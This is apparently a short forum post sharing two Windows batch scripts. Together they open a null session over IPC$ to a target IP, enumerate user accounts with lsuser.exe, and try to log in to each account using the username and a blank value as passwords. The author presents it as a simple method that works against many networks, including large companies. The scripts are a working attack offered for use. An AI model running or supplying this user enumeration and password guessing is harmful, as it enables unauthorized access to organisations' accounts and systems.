net use \\<your ip>\IPC$ /user:<username> <password>in case you are interested, here is the text for sozni's 2 batch files (which requires another file: lsuser.exe to work properly):
====TEST.BAT==== @echo Connecting to \\%1... @net use \\%1\IPC$ "" /user:"" @nbtstat -A %1 @echo Retrieving list of users... @lsuser -h\\%1 -n > %1.users @echo Checking passwords... @net use \\%1\IPC$ /delete @FOR /F "skip=2" %%a IN (%1.users) DO @For %%b IN (%%a "") DO @(test2.bat %1 %%a %%b) @del /f %1.users =====TEST2.BAT======= @echo Trying to login using %2/%3 @echo *****%2/%3 @net use \\%1\IPC$ /user:%2 %3 && Net use \\%1\IPC$ /delete =====================You just run Test <ip> and it gets usernames and tries two passwords then moves on. Very simple but you wouldn't believe how many thousands of times this works (even on some very big companies).